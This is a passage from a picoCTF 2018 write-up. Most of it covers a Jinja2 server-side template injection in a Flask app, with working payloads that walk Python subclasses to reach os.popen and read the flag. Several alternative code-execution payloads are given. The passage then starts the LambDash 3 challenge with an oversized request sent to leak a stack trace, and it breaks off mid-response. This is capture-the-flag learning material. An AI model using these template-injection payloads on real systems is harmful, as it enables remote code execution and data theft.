'sqlalchemy.orm.strategies.LoadDeferredColumns'>, <class 'sqlalchemy.util.langhelpers.dependencies._importlater'>, <class 'sqlalchemy.orm.deprecated_interfaces.MapperExtension'>, <class 'weakref.finalize._Info'>, <class 'mappingproxy'>, <class 'tokenize.Untokenizer'>, <class 'jinja2.utils.MissingType'>, <class 'xml.dom.minidom.Childless'>, <class 'urllib.request.Request'>, <class 'threading.Semaphore'>, <class 'sqlalchemy.orm.base._MappedAttribute'>, <class 'sqlalchemy.sql.util._repr_base'>, <class 'dict_values'>, <class 'itertools.islice'>, <class 'werkzeug.routing.Map'>, <class 'sqlalchemy.engine.result.ResultProxy'>, <class 'tarfile.TarFile'>, <class 'dict_keyiterator'>, <class 'zipfile.ZipInfo'>, <class 'flask.wrappers.JSONMixin'>, <class 'codecs.StreamRecoder'>, <class 'sqlalchemy.cprocessors.UnicodeResultProcessor'>, <class 'wtforms.fields.core.UnboundField'>, <class 'sqlalchemy.sql.type_api.Emulated'>, <class 'urllib.request.BaseHandler'>, <class 'bytearray'>, <class 'json.encoder.JSONEncoder'>, <class 'email._policybase._PolicyBase'>, <class 'zipfile._SharedFile'>, <class 'copy._EmptyClass'>, <class 'sqlalchemy.event.base._Dispatch'>, <class 'plistlib._PlistParser'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'sqlalchemy.sql.type_api.NativeForEmulated'>, <class 'sqlalchemy.event.attr._empty_collection'>, <class 'sqlalchemy.orm.state.AttributeState'>, <class '_io.IncrementalNewlineDecoder'>, <class '_ssl._SSLContext'>, <class 'concurrent.futures.process._WorkItem'>, <class 'flask_bootstrap.StaticCDN'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'itsdangerous.SigningAlgorithm'>, <class 'sqlalchemy.sql.visitors.ClauseVisitor'>, <class 'sqlalchemy.ext.baked.BakedQuery'>, <class 'sqlalchemy.orm.unitofwork.IterateMappersMixin'>, <class 'functools._lru_cache_wrapper'>, <class 'apscheduler.executors.base.BaseExecutor'>, <class 'Struct'>, <class 'pyexpat.xmlparser'>, <class 'subprocess.CompletedProcess'>, <class 'types.DynamicClassAttribute'>, <class 'sqlalchemy.sql.selectable.HasCTE'>, <class 'wtforms.i18n.DummyTranslations'>, <class 'sqlalchemy.sql.base.DialectKWArgs'>, <class 'apt_pkg.TagFile'>, <class 'json.decoder.JSONDecoder'>, <class 'jinja2.loaders.BaseLoader'>, <class 'sqlalchemy.sql.base.Immutable'>, <class 'apt.package.BaseDependency'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class '_sre.SRE_Pattern'>, <class 'itertools.permutations'>, <class 'apt_pkg.Package'>, <class 'sqlalchemy.sql.base.SchemaEventTarget'>, <class 'flask_sqlalchemy._QueryProperty'>, <class 'sqlalchemy.orm.relationships.JoinCondition'>, <class 'sqlalchemy.util.langhelpers.hybridmethod'>, <class 'pkg_resources.Distribution'>, <class 'werkzeug._internal._DictAccessorProperty'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'apt.progress.text.TextProgress'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'traceback.FrameSummary'>, <class 'traceback'>, <class 'xml.dom.NodeFilter.NodeFilter'>, <class 'weakproxy'>, <class 'app.config.Config'>, <class 'sqlalchemy.orm.interfaces.MapperOption'>, <class 'posix.DirEntry'>, <class 'textwrap.TextWrapper'>, <class 'click.core.BaseCommand'>, <class 'method_descriptor'>, <class 'urllib.request.URLopener'>, <class 'dict_valueiterator'>, <class 'sqlalchemy.util.langhelpers.dependencies'>, <class 'datetime.date'>, <class 'staticmethod'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'collections.abc.AsyncIterable'>, <class 'inspect.Parameter'>, <class '_frozen_importlib_external.FileFinder'>, <class 'flask_bootstrap.WebCDN'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.json.tag.JSONTag'>, <class 'apt_pkg.PackageRecords'>, <class 'range_iterator'>, <class 'sqlalchemy.sql.operators.Operators'>, <class 'six._SixMetaPathImporter'>, <class 'sqlalchemy.sql.annotation.Annotated'>, <class 'pprint.PrettyPrinter'>, <class 'bytes_iterator'>, <class 'dict_itemiterator'>, <class '_bz2.BZ2Compressor'>, <class 'sqlalchemy.orm.collections.collection'>, <class 'sqlalchemy.orm.collections._SerializableColumnGetter'>, <class 'hmac.HMAC'>, <class 'sqlalchemy.ext.declarative.api.ConcreteBase'>, <class 'sqlalchemy.orm.dynamic.CollectionHistory'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'itsdangerous._CompactJSON'>, <class 'contextlib.closing'>, <class '_ctypes.CThunkObject'>, <class 'int'>, <class '_io._BytesIOBuffer'>, <class 'logging.PlaceHolder'>, <class 'sqlalchemy.sql.selectable.HasPrefixes'>, <class 'sqlalchemy.orm.path_registry.PathRegistry'>, <class 'codecs.IncrementalEncoder'>, <class 'wtforms.fields.core.Label'>, <class 'apt.cache.Cache'>, <class 'importlib.abc.Loader'>, <class 'plistlib._BinaryPlistWriter'>, <class 'flask_sqlalchemy.model.NameMetaMixin'>, <class 'sqlalchemy.orm.loading.PostLoad'>, <class 'array.array'>, <class 'slice'>, <class 'apt_pkg.AcquireItemDesc'>, <class 'werkzeug.routing.BaseConverter'>, <class 'jinja2.compiler.Frame'>, <class 'ctypes.CDLL'>, <class '_random.Random'>, <class 'itertools.takewhile'>, <class 'collections.abc.Awaitable'>, <class 'sqlalchemy.util._collections.UniqueAppender'>, <class 'sqlalchemy.util._collections.ScopedRegistry'>, <class 'apt_pkg.TagSection'>, <class 'sre_parse.Pattern'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'apport.packaging.PackageInfo'>, <class 'itertools.dropwhile'>, <class 'itertools.combinations'>, <class 'flask_sqlalchemy.Pagination'>, <class 'zipfile.ZipFile'>, <class 'werkzeug.routing.MapAdapter'>, <class 'xml.dom.xmlbuilder._AsyncDeprecatedProperty'>, <class 'sqlalchemy.sql.util.ColumnAdapter._IncludeExcludeMapping'>, <class 'sqlalchemy.exc.DontWrapMixin'>, <class 'apscheduler.schedulers.base.BaseScheduler'>, <class 'click.types.ParamType'>, <class 'jinja2.compiler.MacroRef'>, <class '_ssl.MemoryBIO'>, <class 'codecs.Codec'>, <class 'moduledef'>, <class 'sqlalchemy.util.langhelpers.portable_instancemethod'>, <class 'apscheduler.events.SchedulerEvent'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'click._compat._AtomicFile'>, <class 'zip'>, <class 'apt_pkg.SourceRecords'>, <class 'concurrent.futures.thread._WorkItem'>, <class 'wtforms.validators.AnyOf'>, <class 'collections.abc.Hashable'>, <class 'logging.BufferingFormatter'>, <class 'problem_report.CompressedValue'>, <class 'tarfile._FileInFile'>, <class 'sqlalchemy.event.registry._EventKey'>, <class 'wtforms.validators.InputRequired'>, <class 'flask_login.mixins.UserMixin'>, <class 'sqlalchemy.ext.declarative.clsregistry._GetTable'>, <class 'pkg_resources.extern.packaging.markers.Node'>, <class 'select.poll'>, <class 'coroutine_wrapper'>, <class 'mimetypes.MimeTypes'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'jinja2.runtime.LoopContextIterator'>, <class 'sqlalchemy.interfaces.PoolListener'>, <class 'flask.ctx.RequestContext'>, <class 'sqlalchemy.sql.schema._SchemaTranslateMap'>, <class 'pkg_resources._vendor.pyparsing.ParserElement'>, <class 'tarfile._Stream'>, <class 'xml.dom.minidom.ReadOnlySequentialNamedNodeMap'>, <class 'wtforms.meta.DefaultMeta'>, <class 'sqlalchemy.ext.declarative.clsregistry._class_resolver'>, <class 'concurrent.futures._base.Future'>, <class 'dict_items'>, <class 'sqlalchemy.orm.evaluator.EvaluatorCompiler'>, <class 'jinja2.utils.Cycler'>, <class 'wtforms.form.BaseForm'>, <class 'sqlalchemy.util._collections.Properties'>, <class 'concurrent.futures.process._ResultItem'>, <class 'wtforms.validators.DataRequired'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'sqlalchemy.orm.attributes.Event'>, <class 'super'>, <class '_thread._local'>, <class 'sqlalchemy.orm.dynamic.AppenderMixin'>, <class 'sqlite3.Connection'>, <class '_lzma.LZMADecompressor'>, <class '_frozen_importlib._ModuleLock'>, <class 'apt.package.Origin'>, <class 'sqlalchemy.orm.deprecated_interfaces.SessionExtension'>, <class 'sqlalchemy.ext.baked.Result'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'contextlib.ContextDecorator'>, <class 'sre_parse.Tokenizer'>, <class 'sqlalchemy.sql.sqltypes.Concatenable'>, <class '_ssl._SSLSocket'>, <class 'pkg_resources._vendor.pyparsing.ParseResults'>, <class 'sqlalchemy.engine.interfaces.ExecutionContext'>, <class 'function'>, <class 'multiprocessing.util.Finalize'>, <class 'apt_pkg.MetaIndex'>, <class 'apt_pkg.FileLock'>, <class '_sitebuiltins._Helper'>, <class '_collections._deque_reverse_iterator'>, <class 'tuple'>, <class 'operator.itemgetter'>, <class 'werkzeug.wrappers.WWWAuthenticateMixin'>, <class 'threading._RLock'>, <class 'sre_parse.SubPattern'>, <class 'apscheduler.jobstores.base.BaseJobStore'>, <class 'apt_pkg.PackageList'>, <class '_sre.SRE_Match'>, <class 'sqlalchemy.event.base.dispatcher'>, <class 'tempfile._TemporaryFileCloser'>, <class 'pickle._Pickler'>, <class '_frozen_importlib._ManageReload'>, <class 'jinja2.utils.Joiner'>, <class '_frozen_importlib_external._LoaderBasics'>, <class 'map'>, <class 'collections.abc.Iterable'>, <class 'sqlalchemy.pool._ConnectionFairy'>, <class 'apt.progress.base.InstallProgress'>, <class 'classmethod_descriptor'>, <class 'callable_iterator'>, <class 'multiprocessing.util.ForkAwareThreadLock'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'apt_pkg.Policy'>, <class 'tuple_iterator'>, <class 'configparser.Interpolation'>, <class '_frozen_importlib_external.PathFinder'>, <class 'logging.LogRecord'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'jinja2.lexer.TokenStream'>, <class '_pickle.Pickler'>, <class 'complex'>, <class 'xml.dom.minidom.TypeInfo'>, <class 'sqlalchemy.util.queue.Queue'>, <class 'ipaddress._BaseV4'>, <class 'sqlalchemy.log.echo_property'>, <class 'flask.ctx.AppContext'>, <class 'multiprocessing.connection.Listener'>, <class 'tarfile.TarInfo'>, <class 'datetime.tzinfo'>, <class 'sqlalchemy.util.langhelpers.memoized_property'>, <class 'werkzeug.datastructures.Range'>, <class 'blinker._utilities.lazy_property'>, <class 'apscheduler.job.Job'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'xml.dom.xmlbuilder.DOMBuilderFilter'>, <class 'threading.Thread'>, <class 'werkzeug.wsgi.SharedDataMiddleware'>, <class 'pkg_resources._vendor.pyparsing._NullToken'>, <class 'flask.config.ConfigAttribute'>, <class 'apscheduler.triggers.base.BaseTrigger'>, <class 'apt.cache._FilteredCacheHelper'>, <class 'itertools.accumulate'>, <class 'apt_pkg.SystemLock'>, <class 'flask_sqlalchemy._EngineConnector'>, <class 'sqlalchemy.orm.identity.IdentityMap'>, <class 'sqlalchemy.orm.scoping.scoped_session'>, <class 'sqlalchemy.engine.strategies.EngineStrategy'>, <class 'sqlalchemy.orm.interfaces.LoaderStrategy'>, <class 'zipfile._ZipDecrypter'>, <class 'list'>, <class 'multiprocessing.reduction._C'>, <class 'ipaddress._IPAddressBase'>, <class 'warnings.catch_warnings'>, <class 'apt_pkg.Group'>, <class '_socket.socket'>, <class 'PyCapsule'>, <class '_collections._deque_iterator'>, <class 'zipfile._Tellable'>, <class 'ssl.SSLObject'>, <class 'logging.Filter'>, <class 'xml.dom.Node'>, <class 'calendar._localized_month'>, <class 'werkzeug.local.LocalManager'>, <class 'calendar.Calendar'>, <class 'ast.NodeVisitor'>, <class 'NotImplementedType'>, <class 'sqlite3.Row'>, <class 'sqlalchemy.sql.sqltypes._LookupExpressionAdapter'>, <class 'apt.package.Package'>, <class 'pkgCacheFile'>, <class 'jinja2.runtime.Macro'>, <class 'imp._HackedGetData'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'os._wrap_close'>, <class 'sqlalchemy.orm.query.QueryContext'>, <class 'calendar._localized_day'>, <class 'itertools._tee_dataobject'>, <class 'apt_pkg.AcquireWorker'>, <class 'sqlalchemy.orm.instrumentation._SerializeManager'>, <class 'wtforms.validators.HostnameValidation'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'EncodingMap'>, <class 'werkzeug.datastructures.IfRange'>, <class 'coroutine'>, <class 'multiprocessing.connection.SocketListener'>, <class 'apt_pkg._PackageManager'>, <class 'difflib.SequenceMatcher'>, <class '_sitebuiltins.Quitter'>, <class '_pickle.Unpickler'>, <class 'pkg_resources.extern.packaging._structures.Infinity'>, <class 'flask_wtf.recaptcha.widgets.RecaptchaWidget'>, <class 'logging.Filterer'>, <class 'sqlalchemy.ext.declarative.clsregistry._ModNS'>, <class 'sqlalchemy.util.langhelpers.MemoizedSlots'>, <class 'sqlalchemy.sql.selectable.HasSuffixes'>, <class 'select.epoll'>, <class 'tarfile._StreamProxy'>, <class 'inspect.Signature'>, <class 'werkzeug.local.LocalStack'>, <class 'flask_bootstrap.CDN'>, <class 'pkgutil.ImpLoader'>, <class 'sqlalchemy.orm.deprecated_interfaces.AttributeExtension'>, <class 'jinja2.lexer.Lexer'>, <class 'sqlalchemy.orm.instrumentation.InstrumentationFactory'>, <class 'ipaddress._IPv4Constants'>, <class 'flask_sqlalchemy._SQLAlchemyState'>, <class 'fieldnameiterator'>, <class 'jinja2.debug.TracebackFrameProxy'>, <class 'sqlalchemy.orm.collections._PlainColumnGetter'>, <class 'sqlalchemy.engine.result.ResultMetaData'>, <class '_pickle.Pdata'>, <class 'jinja2.runtime.BlockReference'>, <class 'apt_pkg.Cdrom'>, <class 'pkg_resources.extern.packaging.requirements.Requirement'>, <class 'pickle._Unframer'>, <class 'email.parser.Parser'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class 'sqlalchemy.event.base.Events'>, <class 'jinja2.ext.Extension'>, <class 'zipimport.zipimporter'>, <class 'float'>, <class 'logging.LoggerAdapter'>, <class 'sqlalchemy.sql.schema._NotAColumnExpr'>, <class 'string.Formatter'>, <class 'itertools.product'>, <class 'sqlalchemy.util._collections.ImmutableContainer'>, <class 'operator.attrgetter'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'tarfile.TarIter'>, <class 'click.core.Context'>, <class '_io._IOBase'>, <class 'blinker._utilities._symbol'>, <class 'tarfile._LowLevelFile'>, <class 'contextlib._RedirectStream'>, <class 'apt_pkg.Cache'>, <class 'xml.dom.minidom.ElementInfo'>, <class 'pkg_resources._vendor.six._SixMetaPathImporter'>, <class 'sqlalchemy.orm.relationships._ColInAnnotations'>, <class 'sqlite3.PrepareProtocol'>, <class 'threading.Condition'>, <class 'jinja2.parser.Parser'>, <class 'builtin_function_or_method'>, <class 'bytes'>, <class 'set_iterator'>, <class 'sqlalchemy.orm.dependency.DependencyProcessor'>, <class 'werkzeug.datastructures.Headers'>, <class 'sqlalchemy.orm.events._EventsHold.HoldEvents'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'wtforms.widgets.core.Input'>, <class 'sqlalchemy.sql.functions._FunctionGenerator'>, <class 'concurrent.futures._base._Waiter'>, <class 'decimal.ContextManager'>, <class 'pkg_resources.ResourceManager'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class 'flask_sqlalchemy.model.Model'>, <class 'logging.Manager'>, <class 'str_iterator'>, <class 'visitor.Visitor'>, <class 'xml.dom.xmlbuilder.DOMInputSource'>, <class 'apt_pkg.SourceList'>, <class '_frozen_importlib_external.FileLoader'>, <class 'enumerate'>, <class 'gettext.NullTranslations'>, <class 'pkg_resources._SetuptoolsVersionMixin'>, <class 'email.message.Message'>, <class 'sqlalchemy.engine.base.Engine._trans_ctx'>, <class 'jinja2.environment.Template'>, <class 'instancemethod'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_thread.RLock'>, <class 'sqlalchemy.DecimalResultProcessor'>, <class 'sqlalchemy.engine.url.URL'>, <class 'apt.progress.base.AcquireProgress'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'sqlalchemy.orm.persistence.BulkUD'>, <class 'wtforms.widgets.core.Select'>, <class 'six._LazyDescr'>, <class 'jinja2.environment.TemplateExpression'>, <class 'apt_pkg.Hashes'>, <class 'sqlalchemy.ext.declarative.clsregistry._ModuleMarker'>, <class 'logging.PercentStyle'>, <class 'itertools.count'>, <class 'werkzeug._internal._Missing'>, <class 'types._GeneratorWrapper'>, <class 'blinker._utilities.symbol'>, <class '_pickle.UnpicklerMemoProxy'>, <class 'itsdangerous.Signer'>, <class 'werkzeug.datastructures.ViewItems'>, <class 'email.charset.Charset'>, <class 'multiprocessing.process.BaseProcess'>, <class 'jinja2.nodes.EvalContext'>, <class 'xml.dom.minidom.Identified'>, <class 'functools.partial'>, <class 'datetime.time'>, <class 'sqlalchemy.engine.base.Transaction'>, <class 'sqlalchemy.ext.declarative.clsregistry._MultipleClassMarker'>, <class 'werkzeug.wsgi.ProxyMiddleware'>, <class 'werkzeug.local.Local'>, <class 'sqlalchemy.dialects.sqlite.base._DateTimeMixin'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'apt_pkg.GroupList'>, <class 'set'>, <class 'sqlalchemy.sql.operators.custom_op'>, <class 'sqlalchemy.sql.visitors.Visitable'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'itertools.groupby'>, <class 'collections.deque'>, <class 'threading.Event'>, <class 'itertools.filterfalse'>, <class 'pkg_resources.extern.packaging.version._BaseVersion'>, <class 'pkg_resources.extern.packaging.markers.Marker'>, <class 'werkzeug.wrappers.ResponseStreamMixin'>, <class 'werkzeug.exceptions.Aborter'>, <class 'dominate.dom1core.dom1core'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'pkg_resources.EntryPoint'>, <class 'itertools.starmap'>, <class 'decimal.Decimal'>, <class 'apt_pkg.DependencyList'>, <class 'wtforms.utils.UnsetValue'>, <class 'pkg_resources.Environment'>, <class 'blinker.base.Signal'>, <class 'posix.ScandirIterator'>, <class 'jinja2.runtime.Context'>, <class 'wtforms.validators.EqualTo'>, <class 'pkg_resources._vendor.pyparsing._Constants'>, <class 'werkzeug.formparser.FormDataParser'>, <class '_sitebuiltins._Printer'>, <class 'werkzeug.local.LocalProxy'>, <class 'ipaddress._BaseV6'>, <class 'click.parser.Option'>, <class 'sqlalchemy.pool._DBProxy'>, <class 'wtforms.i18n.DefaultTranslations'>, <class 'memoryview'>, <class 'pkg_resources._vendor.six._LazyDescr'>, <class 'decimal.Context'>, <class 'flask_sqlalchemy._EngineDebuggingSignalEvents'>, <class '_frozen_importlib_external._NamespacePath'>, <class 'urllib.request.ftpwrapper'>, <class 'sqlite3Node'>, <class 'wtforms.validators.Email'>, <class 'sqlalchemy.engine.reflection.Inspector'>, <class 'sqlalchemy.orm.query._QueryEntity'>, <class 'sqlalchemy.sql.schema.ColumnCollectionMixin'>, <class 'reversed'>, <class 'wtforms.utils.WebobInputWrapper'>, <class 'email.parser.BytesParser'>, <class 'sqlalchemy.ext.declarative.clsregistry._GetColumns'>, <class 'sqlalchemy.sql.compiler.IdentifierPreparer'>, <class 'generator'>, <class '_ctypes.DictRemover'>, <class 'itsdangerous.Serializer'>, <class 'threading.Barrier'>, <class 'jinja2.environment.TemplateModule'>, <class 'werkzeug.wrappers.BaseResponse'>, <class 'sqlalchemy.ext.baked.Bakery'>, <class 'sqlalchemy.pool._ConnDialect'>, <class 'urllib.parse._ResultMixinStr'>, <class 'werkzeug.wrappers.ETagResponseMixin'>, <class 'list_reverseiterator'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'sqlalchemy.pool._ConnectionRecord'>, <class 'blinker._saferef.BoundMethodWeakref'>, <class 'click.utils.LazyFile'>, <class 'sqlalchemy.log.Identified'>, <class 'email.feedparser.BufferedSubFile'>, <class 'list_iterator'>, <class 'pkg_resources.extern.packaging._structures.NegativeInfinity'>, <class 'werkzeug.wrappers.AuthorizationMixin'>, <class 'wtforms.validators.NoneOf'>, <class '_thread.lock'>, <class 'multiprocessing.connection._ConnectionBase'>, <class 'collections.abc.Container'>, <class 'apt_pkg.OrderList'>, <class 'jinja2.lexer.Failure'>, <class 'sqlalchemy.orm.events._InstrumentationEventsHold'>, <class 'email.header._ValueFormatter'>, <class 'imp.NullImporter'>, <class 'werkzeug.wrappers.UserAgentMixin'>, <class 'dict'>, <class 'sqlite3.Statement'>, <class 'importlib.abc.Finder'>, <class 'sqlalchemy.ext.declarative.base._MapperConfig'>, <class 'email.feedparser.FeedParser'>, <class '_weakrefset.WeakSet'>, <class 'wtforms.validators.Optional'>, <class 'contextlib.suppress'>, <class 'wtforms.validators.UUID'>, <class 'itertools._grouper'>, <class 'click._compat._FixupStream'>, <class 'click.utils.KeepOpenFile'>, <class 'uuid.UUID'>, <class 'sqlalchemy.orm.query.Query'>, <class 'sqlalchemy.util._collections.WeakSequence'>, <class 'sqlalchemy.orm.strategies.SubqueryLoader._SubqCollections'>, <class 'uwsgi.ZipImporter'>, <class 'string.Template'>, <class 'frozenset'>, <class 'weakcallableproxy'>, <class 'apt.package.Version'>, <class 'flask_sqlalchemy.model.BindMetaMixin'>, <class 'tempfile._RandomNameSequence'>, <class 'sqlalchemy.util.langhelpers.group_expirable_memoized_property'>, <class 'pkg_resources._vendor.six._LazyDescr'>, <class 'apt_pkg.Dependency'>, <class 'click.parser.OptionParser'>, <class 'frame'>, <class 'inspect._empty'>, <class 'os._DummyDirEntry'>, <class 'flask.helpers._PackageBoundObject'>, <class 'wtforms.widgets.core.TableWidget'>, <class 'concurrent.futures.process._CallItem'>, <class 'filter'>, <class 'sqlalchemy.orm.state.PendingCollection'>, <class 'weakref'>, <class 'jinja2.idtracking.Symbols'>, <class 'email._parseaddr.AddrlistClass'>, <class 'ctypes.LibraryLoader'>, <class 'dominate.dom_tag.dom_tag'>, <class 'sqlalchemy.orm.strategy_options.loader_option'>, <class 'longrange_iterator'>, <class 're.Scanner'>, <class 'jinja2.runtime.TemplateReference'>, <class 'method-wrapper'>, <class 'classmethod'>, <class 'wrapper_descriptor'>, <class 'jinja2.environment.TemplateStream'>, <class 'queue.Queue'>, <class 'jinja2.runtime.LoopContextBase'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'abc.ABC'>, <class 'flask_login.mixins.AnonymousUserMixin'>, <class 'http.client.HTTPConnection'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'itsdangerous.URLSafeSerializerMixin'>, <class 'wtforms.validators.Length'>, <class 'sqlalchemy.util._collections.IdentitySet'>, <class 'sqlalchemy.sql.compiler.TypeCompiler'>, <class 'itertools.repeat'>, <class 'itertools.zip_longest'>, <class '_multiprocessing.SemLock'>, <class 'werkzeug.wrappers.CommonResponseDescriptorsMixin'>, <class 'click.core.Parameter'>, <class 'wtforms.fields.core.Field'>, <class 'subprocess.Popen'>, <class 'zipfile.LZMACompressor'>, <class 'itertools._tee'>, <class 'wtforms.validators.Regexp'>, <class 'werkzeug.wsgi.DispatcherMiddleware'>, <class '_ctypes._CData'>, <class 'itertools.chain'>]

Damn that’s a lot of stuff, how do we find if one of these modules eventually lead us to code execution? Simple, we write a small script which loops over the list and see if it has access to the module we need.

for i in [].__class__.__mro__[1].__subclasses__():
  if '<class' in str(i):
    try:
      modules = i.__init__.__globals__.keys() # lookup all keys from global
      for module in modules:
        if 'os' == module:
          print(i)
    except:
      pass

This code spits out the modules which has os module access.

<class 'site._Printer'>
<class 'site.Quitter'>

Seems like these two have access to os module. Unfortunately these 2 don’t exist on the server. But this is no problem for us, we can search for sys module which has os in it.

To find the sys module, I simply changed os to sys in the code above and ran it.

<class 'warnings.WarningMessage'>
<class 'warnings.catch_warnings'>
<class 'site._Printer'>
<class 'site.Quitter'>
<class 'codecs.IncrementalEncoder'>
<class 'codecs.IncrementalDecoder'>

This time we get a lot more results. Let’s pick one of those codecs, maybe <class 'codecs.IncrementalDecoder'>. I searched for it in the huge modules list above. Luckly I did find it. It’s in the index 152. Let’s confirm this.

{{ [].__class__.__mro__[1].__subclasses__()[152] }}
Question:<class 'codecs.IncrementalDecoder'>

And indeed we see it right there. We can confirm by dumping the __globals__ list

...
'BOM_UTF32_LE': b'\xff\xfe\x00\x00', 'StreamReader': <class 'codecs.StreamReader'>
'BOM_UTF8': b'\xef\xbb\xbf', 'IncrementalDecoder': <class 'codecs.IncrementalDecoder'>
'builtins': <module 'builtins' (built-in)>
'sys': <module 'sys' (built-in)> <== RIGHT HERE
'getincrementaldecoder': <function getincrementaldecoder at 0x7f9421fffd90>
'unicode_internal_encode': <built-in function unicode_internal_encode>
...

Since sys has os we can simply use it like the following

{{ [].__class__.__mro__[1].__subclasses__()[152].__init__.__globals__['sys'].modules['os'] }}

We can use os.system, but since this doesn’t give us the output, so instead we can go with os.popen and read function to get the output. Let’s try it.

{{ [].__class__.__mro__[1].__subclasses__()[152].__init__.__globals__['sys'].modules['os'].popen("ls").read() }}
Question:app flag server.py xinet_startup.sh

Alright! we have our code execution. Now let’s read that flag

{{ [].__class__.__mro__[1].__subclasses__()[152].__init__.__globals__['sys'].modules['os'].popen("cat flag").read() }}
Question:picoCTF{R_C_E_wont_let_me_be_85e92c3a}

Noice, our flag is picoCTF{R_C_E_wont_let_me_be_85e92c3a}.

Like I mentioned above, there are other simpler ways to solve this challenge, one of them is to use url_for method which is part of the flask framework. This depends on os module, because it works with generating dynamic urls for routes, so we can simple use it like

{{ url_for.__globals__.os.popen("cat flag").read() }}

Additionally we can also use __builtins__ from __globals__ and then use eval to gain code execution.

{{[].__class__.__base__.__subclasses__()[212].__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat flag").read()')}}

We can also use subclasses.popen which was in the list with communicate.

{{[].__class__.__base__.__subclasses__()[761](['cat', 'flag'],stdout=-1).communicate()[0]}}

I’m sure there are a ton of other ways to do this, but the one that I showed you guys was my favorite.

LambDash 3

Challenge description

C? Who uses that anymore. If we really want to be secure, we should all start learning lambda calculus. http://2018shell1.picoctf.com:11322

Points: 800

Now I gotta say, this was a hard one. I spent days trying to figure it out and got nowhere. This challenge was about lambda calculus which I really don’t like for no reason and also it deals with how nodejs handles __proto__ assignments. Let’s get started shall we?

Following the link provided in the description, we land on a web app ΛambΔash. Right off the bat there’s documentation about how this lambda calculus works. There are about 6 pages of documentation. This web app was written in nodejs, how do I know this? I had a chrome extension called Wappalyzer, a really handy tool to find out what technologies are being used by the website. Additionally when you visit a path the doesn’t exist you get the standard node express error ‘Cannot GET /whatever’ and also the response headers had X-Powered-By: Express which was a complete giveaway.

Let’s look at the functionality of this web app. As you know this has documentation and it also has small code areas, where you can write lambda calculus code and run it. This was a typed lambda calculus variant called System F.

The flow of the web app was simple, you write code and hit run, this makes an ajax(we should really stop calling it ajax) request to /run endpoint with some POST data. The code was sent to the server, the server runs the code and gives us the response. This is cool and everything, but since we don’t have access to the backend code yet, it’ll take a long time to find a lead, so let’s find the code.

When we signup for the Pico CTF, we are given a ssh connection. We can simply download the source from there, but the problem is we don’t know where our code is and what are it’s file/directory names and we can’t even list the files to know their names due to permissions. So first we need the exact path to the source, only then we are able to download. To do this we can simply cause an error in the web app which gives us the stack trace with the path to the file. To cause an error I sent a really long string as the POST data for that /run endpoint.

Request

POST /run HTTP/1.1
Host: 2018shell1.picoctf.com:11322
Content-Length: 122477
Origin: http://2018shell1.picoctf.com:11322
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.67 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://2018shell1.picoctf.com:11322/
Accept-Encoding: gzip, deflate
Accept-Language: en-IN,en-GB;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: remember_token=8|bc201830f00576b048deb58a3c61e6ea0a5bf9dd10df1412afd04d874f5ef819e3b72e528791f5474fdb0e5dcbfe9317de2ebc86cb59f6a2f3ff80369dafa1ae; _ga=GA1.2.1584231330.1539783434; _gid=GA1.2.1598786021.1539783434
Connection: close

code=aaaaaaaaaaaa..(120k+)..aaaaaaaaaaaa

Response

HTTP/1.1 413 Payload Too Large
X-Powered-By: Express
Content-Security-Policy: default-src 'self'
X-Content-Type-Options: nosniff
Content-Type: text/html; charset=utf-8
Content-Length: 1540
Date: Thu, 18 Oct 2018 07:23:34 GMT
Connection: close

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
